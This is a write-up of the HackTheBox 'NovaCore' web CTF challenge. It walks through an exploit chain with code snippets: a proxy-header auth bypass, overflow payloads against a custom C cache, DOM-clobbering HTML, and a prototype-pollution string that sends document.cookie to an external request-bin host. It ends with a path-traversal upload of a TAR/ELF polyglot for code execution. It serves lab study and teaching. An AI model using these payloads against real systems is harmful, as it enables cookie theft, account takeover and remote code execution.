Novacore
https://github.com/hackthebox/business-ctf-2025/tree/master/web/novacore
What your exploit does (line-by-line intuition)
Stage 1 — Auth bypass → cache overflow → XSS → cookie exfil
Headers trick
headers = {"Connection": "close, X-Real-IP"}
- Traefik would normally inject
X-Real-IP, which enables the token check. - By adding
Connection: close, X-Real-IP, you tell the proxy that the hop-by-hop header namedX-Real-IPmust be removed before forwarding. Flask then receives the request withoutX-Real-IP, and@token_requiredskips auth.
Create two trades owned by sys_admin
signals = get_active_signals()
first_trade_id = copy_signal_trade(signal_id)
copy_signal_trade(signal_id) # second one
/api/copy_signal_tradewith no token now works.- The cache stores keys like
user:sys_admin:trade:<uuid>.
Overflow arithmetic
OVERFLOW_OFFSET = 24
-
Cached
valueis formatted as:"symbol|{symbol}|action|{action}|price|{price}" -
With
symbol="1"andaction="2", the fixed preamble beforepriceislen("symbol|1|action|2|price|") = 24. You subtract this so yourpricebytes line up on 256-byte boundaries.
1st overflow: write HTML into the next entry’s value
dom_clobbering = "<embed/name=getElementById></embed>" \
"<div/id=\"UI_DEV_MODE\"></div>" \
"<a/int=\"1/../../view/1\"/id=\"LOG_LEVEL\"></a>"
malicious_payload_1 = "a"* (256*2 - 24) + \
f"symbol|a|action|a|price|a{dom_clobbering}"
edit_trade(..., price=malicious_payload_1)
- The cache uses
strcpyinto fixedchar value[256]. No bounds checking. - Layout per entry:
[key(256)] [value(256)]. - Writing
(256*2 - 24)bytes fromvalueof entryE:- fills
E.value(remaining256-24), - fills all of
E+1.key(256), - the next bytes start at
E+1.value, where you now place a well-formed trade string ending with your HTML payload.
- fills
- The HTML uses DOM clobbering to:
- break
document.getElementById→ jump intocatchindashboard.js, - define
window.UI_DEV_MODEvia<div id=UI_DEV_MODE>→ take the “dev” path, - set
<a id=LOG_LEVEL int="1/../../view/1">→ the app fetches/front_end_error/view/1.
- break
2nd overflow: change the next entry’s key to admin’s
malicious_payload_2 = "a"* (256 - 24) + f"user:1:trade:{uuid.uuid4()}"
edit_trade(..., price=malicious_payload_2)
- Now you land exactly at the start of
E+1.keyand overwrite it withuser:1:trade:<uuid>. Admin (id=1) now owns the row you polluted.
Seed prototype pollution the front-end will pull
prototype_pollution = {"__proto__":{"length":
"location='https://k31x5f3u.requestrepo.com/?'+document.cookie;//"}}
report_error(..., prototype_pollution)
- When the bot hits
/my_trades, your DOM clobbering forces a request to/front_end_error/view/1, which returns your JSON. - The page
merge()s that JSON into a live object without guards → prototype pollution:logData.config.lengthbecomes attacker-controlled. - Then the code does:
With CSP allowingeval(`${configKeysLength} > 5 ? 'Large' : 'Small'`);'unsafe-eval', your string executes. You setlocation=...to navigate (top-level navigation is not blocked by CSP) and leakdocument.cookieto your request bin. That gives you the Flask session cookie for admin.
Stage 2 — Privileged upload → TAR/ELF polyglot → RCE → flag
Use admin session
session_cookie = "<stolen flask session>"
session.cookies.set_cookie(name="session", value=session_cookie)
Build ELF that can also look like a TAR
SHELLCODE_ASM: tiny_startthatexecve(BIN, ARG)then exits.- Custom linker script places a big
.customsegment before.textso there’s space to stash TAR blocks without breaking ELF. - Create a TAR where the first path is named
\x7FELF/...(helps with magic alignment games), then:- copy the ELF to
new_tar, ddTAR bytes intonew_tar(overlay TAR blocks inside the reserved segment),- recompute/patch the TAR checksum field so
exiftoolsays “File Type : TAR”.
- copy the ELF to
Upload into plugins via traversal
files = {"dataset_file": ("../plugins/demo.tar", open(file, "rb"))}
POST /upload_dataset
- Filename regex allows
.and/→../plugins/...traverses into plugins. - Server validates content with:
exiftool(detect TAR),readelf -h(detect ELF).
- Your polyglot passes both.
Execute and harvest
POST /run_plugin plugin=demo.tar → stdout in page
- 1st run
BIN=/bin/ls ARG=/→ the output leaks the randomized flag filename (/flag<hex>.txt). - Rebuild polyglot with
BIN=/bin/cat ARG=/flagXYZ.txt, upload, run, parseHTB{...}.
CTF Write-up (concise)
Challenge
NovaCore (Web). Goal: read /flag*.txt. Stack: Traefik → Flask 3, SQLite, custom TCP cache, admin bot (Selenium). CSP: default-src 'self'; script-src 'self' 'nonce-...' 'unsafe-eval'.
Key vulns
-
Auth bypass via proxy header confusion
@token_requiredenforces token only ifX-Real-IPis present. UsingConnection: close, X-Real-IPmakes the proxy stripX-Real-IPbefore forwarding → backend sees no header → no auth. -
Heap-like overflow across cache entries
Custom cache (
aetherCache.c) storesEntry { char key[256]; char value[256]; }arrays and writes withstrcpy(no bounds checks). Over-longvalueoverflows into nextkeyandvalue. -
Stored HTML injection → DOM clobbering
/my_tradesrendersaction|price|symbolwith|safe. We inject HTML without spaces (cache parses withsscanf("%s %s")) using tags like<embed name=...>and<div id=...>to clobber globals and throw into acatchpath. -
Prototype pollution →
unsafe-evalRCE in the browserIn
dashboard.js, on error it does:fetch('/front_end_error/view/<level>')→JSON.parse→merge(...)(no guards) → pollute__proto__.length,- then
eval(${configKeysLength} > 5 ? …)→ runs attacker JS. CSP allows'unsafe-eval', so code executes. We setlocation=...to exfil the admin cookie.
-
Upload traversal + content confusion → server RCE
/upload_datasetsaves asjoin("/app/application/datasets", filename)with a permissive filename regex →../plugins/…traversal into the plugins dir.Content is accepted if
exiftoolsays TAR andreadelf -hsays ELF. A crafted TAR/ELF polyglot passes both;/run_pluginthen executes it.
Exploit chain
- Bypass API auth with
Connection: close, X-Real-IPand call:/api/active_signals/api/copy_signal_tradetwice (create twosys_admintrades).
- Overflow cache via
/api/edit_trade:- Overflow
E.value→E+1.key→ write HTML intoE+1.value. - Second overflow to set
E+1.key = user:1:trade:<uuid>.
- Overflow
- Seed prototype pollution:
POST /front_end_error/new/1with{"__proto__":{"length":"location='https://…?'+document.cookie;//"}}.
- Admin bot visits
/my_trades:- Your DOM clobber forces the error path, fetches
/front_end_error/view/1, merges JSON, eval runs and navigates to your server with the cookie.
- Your DOM clobber forces the error path, fetches
- Use admin cookie to:
- Upload polyglot as
../plugins/demo.tar, - Run it to list
/and learn the randomized flag filename, - Re-upload polyglot that
cats the flag, /run_pluginshowsHTB{...}.
- Upload polyglot as
Root causes
- Trusting reverse-proxy headers without strict handling.
- C code
strcpyinto fixed buffers, no bounds checks. - Rendering untrusted content with Jinja
|safe. - Prototype pollution via recursive merge;
unsafe-evalin CSP. - Path traversal in upload + dual-format content validation.
Snippets (from your PoC)
Overflow math (why 24)
"symbol|1|action|2|price|" → 24 bytes before `price`
- Fill:
(256*2 - 24)→ land at[E+1].valueto drop HTML. - Fill:
(256 - 24)→ land at[E+1].keyto rewrite owner touser:1:trade:<uuid>.
DOM-clobber payload (no spaces)
<embed/name=getElementById></embed>
<div/id="UI_DEV_MODE"></div>
<a/int="1/../../view/1"/id="LOG_LEVEL"></a>
Prototype pollution
{ "__proto__": { "length": "location='https://attacker/?'+document.cookie;//" } }
Polyglot idea
- ELF with
.customlarge RW segment to hold TAR blocks. - Overlay TAR bytes (
dd) into the reserved range and fix TAR checksum. - Filename
../plugins/demo.tar→ lands in plugins;/run_pluginexecutes.